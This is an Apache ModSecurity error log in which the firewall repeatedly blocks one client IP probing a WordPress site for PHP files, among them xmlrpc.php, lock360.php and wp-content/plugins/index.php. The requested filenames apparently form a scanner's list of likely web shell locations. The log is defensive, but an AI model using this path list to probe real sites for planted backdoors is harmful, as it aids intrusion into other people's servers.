[Sat Feb 28 01:47:36.272483 2026] [:error] [pid 38586:tid 38606] [client 20.100.197.204:21493] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aaHYuL_i6nvKNhjFW7VYiQAAARE"]
[Sat Feb 28 01:47:36.792546 2026] [:error] [pid 38586:tid 38594] [client 20.100.197.204:28959] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aaHYuL_i6nvKNhjFW7VYkAAAAQU"]
[Sat Feb 28 01:47:37.310860 2026] [:error] [pid 15098:tid 15107] [client 20.100.197.204:30555] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aaHYuckFqny8dQQbmTkr4QAAAII"]
[Sat Feb 28 01:47:37.827681 2026] [:error] [pid 15100:tid 15184] [client 20.100.197.204:10017] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aaHYuUOEbzcINan_ctLNPQAAAFg"]
[Sat Feb 28 01:47:38.344463 2026] [:error] [pid 15100:tid 15183] [client 20.100.197.204:9994] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aaHYukOEbzcINan_ctLNQAAAAFc"]
[Sat Feb 28 01:47:38.861677 2026] [:error] [pid 15100:tid 15176] [client 20.100.197.204:9998] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aaHYukOEbzcINan_ctLNRAAAAFA"]
[Sat Feb 28 01:47:39.379305 2026] [:error] [pid 15240:tid 15253] [client 20.100.197.204:3123] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHYuy1iKL_41Rk9A9OGyQAAAAs"]
[Sat Feb 28 01:47:39.903977 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:28954] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHYu7_i6nvKNhjFW7VYnQAAAQo"]
[Sat Feb 28 01:47:40.421725 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:30537] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHYvAP6I7SRqrhh7RojcwAAAVc"]
[Sat Feb 28 01:47:40.939871 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:3112] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHYvAP6I7SRqrhh7RojeAAAAUw"]
[Sat Feb 28 01:47:41.458599 2026] [:error] [pid 15098:tid 15113] [client 20.100.197.204:30545] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aaHYvckFqny8dQQbmTkr8gAAAIc"]
[Sat Feb 28 01:47:41.975593 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:33203] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aaHYvb_i6nvKNhjFW7VYpQAAAQE"]
[Sat Feb 28 01:47:42.494599 2026] [:error] [pid 15098:tid 15119] [client 20.100.197.204:14895] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aaHYvskFqny8dQQbmTkr-AAAAI0"]
[Sat Feb 28 01:47:43.011224 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:30467] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aaHYvwP6I7SRqrhh7RojfwAAAUU"]
[Sat Feb 28 01:47:43.527916 2026] [:error] [pid 38586:tid 38595] [client 20.100.197.204:25219] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aaHYv7_i6nvKNhjFW7VYpwAAAQY"]
[Sat Feb 28 01:47:44.044030 2026] [:error] [pid 38620:tid 38628] [client 20.100.197.204:24486] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aaHYwAP6I7SRqrhh7RojhAAAAUY"]
[Sat Feb 28 01:47:44.562515 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:10008] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aaHYwAP6I7SRqrhh7RojhgAAAVM"]
[Sat Feb 28 01:47:45.079812 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:14875] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aaHYwb_i6nvKNhjFW7VYrQAAAQo"]
[Sat Feb 28 01:47:45.596650 2026] [:error] [pid 15240:tid 15259] [client 20.100.197.204:24491] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaHYwS1iKL_41Rk9A9OG3AAAABE"]
[Sat Feb 28 01:47:46.114595 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:33204] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaHYwgP6I7SRqrhh7RojkgAAAVI"]
[Sat Feb 28 01:47:46.632110 2026] [:error] [pid 38586:tid 38600] [client 20.100.197.204:21463] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaHYwr_i6nvKNhjFW7VYsAAAAQs"]
[Sat Feb 28 01:47:47.152104 2026] [:error] [pid 15240:tid 15251] [client 20.100.197.204:24511] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaHYwy1iKL_41Rk9A9OG3wAAAAk"]
[Sat Feb 28 01:47:47.669141 2026] [:error] [pid 15099:tid 15149] [client 20.100.197.204:21458] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaHYw-nvP2vtPjYDq_g-JQAAANA"]
[Sat Feb 28 01:47:48.185205 2026] [:error] [pid 38586:tid 38593] [client 20.100.197.204:33212] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaHYxL_i6nvKNhjFW7VYtwAAAQQ"]
[Sat Feb 28 01:47:48.702045 2026] [:error] [pid 38620:tid 38637] [client 20.100.197.204:24495] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaHYxAP6I7SRqrhh7RojowAAAU8"]
[Sat Feb 28 01:47:49.219985 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:30502] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goat.php"] [unique_id "aaHYxQP6I7SRqrhh7RojqwAAAUQ"]
[Sat Feb 28 01:47:49.736220 2026] [:error] [pid 15100:tid 15183] [client 20.100.197.204:24497] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aaHYxUOEbzcINan_ctLNTwAAAFc"]
[Sat Feb 28 01:47:50.255297 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:21457] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aaHYxgP6I7SRqrhh7RojvAAAAUM"]
[Sat Feb 28 01:47:50.771655 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:30472] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aaHYxgP6I7SRqrhh7RojxQAAAUE"]
[Sat Feb 28 01:47:51.288194 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:10002] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aaHYxwP6I7SRqrhh7RojzQAAAUk"]
[Sat Feb 28 01:47:51.804682 2026] [:error] [pid 15240:tid 15247] [client 20.100.197.204:30484] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYxy1iKL_41Rk9A9OG7AAAAAU"]
[Sat Feb 28 01:47:52.325252 2026] [:error] [pid 38586:tid 38608] [client 20.100.197.204:3106] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYyL_i6nvKNhjFW7VYvQAAARM"]
[Sat Feb 28 01:47:52.843218 2026] [:error] [pid 38620:tid 38636] [client 20.100.197.204:14851] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYyAP6I7SRqrhh7Roj5QAAAU4"]
[Sat Feb 28 01:47:53.359650 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:21462] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaHYyQP6I7SRqrhh7Roj8gAAAUc"]
[Sat Feb 28 01:47:53.875843 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:24484] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aaHYyQP6I7SRqrhh7Roj_QAAAVM"]
[Sat Feb 28 01:47:54.393666 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:28947] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aaHYyi1iKL_41Rk9A9OG8gAAAA0"]
[Sat Feb 28 01:47:54.910664 2026] [:error] [pid 15099:tid 15134] [client 20.100.197.204:30515] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aaHYyunvP2vtPjYDq_g-KQAAAME"]
[Sat Feb 28 01:47:55.428888 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:24464] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aaHYywP6I7SRqrhh7RokDgAAAUw"]
[Sat Feb 28 01:47:55.947727 2026] [:error] [pid 38586:tid 38593] [client 20.100.197.204:3102] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aaHYy7_i6nvKNhjFW7VYwwAAAQQ"]
[Sat Feb 28 01:47:56.465116 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:25255] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aaHYzL_i6nvKNhjFW7VYxgAAAQ8"]
[Sat Feb 28 01:47:56.980405 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:30552] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aaHYzL_i6nvKNhjFW7VYxwAAARc"]
[Sat Feb 28 01:47:57.496932 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:21473] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aaHYzQP6I7SRqrhh7RokIwAAAUc"]
[Sat Feb 28 01:47:58.013843 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:25238] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aaHYzgP6I7SRqrhh7RokKQAAAUQ"]
[Sat Feb 28 01:47:58.530902 2026] [:error] [pid 38586:tid 38597] [client 20.100.197.204:24480] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aaHYzr_i6nvKNhjFW7VYyQAAAQg"]
[Sat Feb 28 01:47:59.047707 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:30488] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aaHYzwP6I7SRqrhh7RokNQAAAUk"]
[Sat Feb 28 01:47:59.564458 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:33205] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ov.php"] [unique_id "aaHYz0OEbzcINan_ctLNVgAAAEk"]
[Sat Feb 28 01:48:00.081341 2026] [:error] [pid 15100:tid 15182] [client 20.100.197.204:28944] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHY0EOEbzcINan_ctLNWQAAAFY"]
[Sat Feb 28 01:48:00.603560 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:25226] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHY0AP6I7SRqrhh7RokQgAAAVA"]
[Sat Feb 28 01:48:01.120851 2026] [:error] [pid 38586:tid 38598] [client 20.100.197.204:3109] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHY0b_i6nvKNhjFW7VYzwAAAQk"]
[Sat Feb 28 01:48:01.637906 2026] [:error] [pid 15099:tid 15151] [client 20.100.197.204:33214] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHY0envP2vtPjYDq_g-LwAAANI"]
[Sat Feb 28 01:48:02.156011 2026] [:error] [pid 15240:tid 15264] [client 20.100.197.204:9987] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aaHY0i1iKL_41Rk9A9OG_AAAABY"]
[Sat Feb 28 01:48:02.674008 2026] [:error] [pid 15240:tid 15252] [client 20.100.197.204:21476] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aaHY0i1iKL_41Rk9A9OG_wAAAAo"]
[Sat Feb 28 01:48:03.191669 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:14878] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aaHY0wP6I7SRqrhh7RokVwAAAVM"]
[Sat Feb 28 01:48:03.709168 2026] [:error] [pid 15100:tid 15172] [client 20.100.197.204:14866] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aaHY00OEbzcINan_ctLNXgAAAEw"]
[Sat Feb 28 01:48:04.234457 2026] [:error] [pid 38586:tid 38595] [client 20.100.197.204:28958] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aaHY1L_i6nvKNhjFW7VY0gAAAQY"]
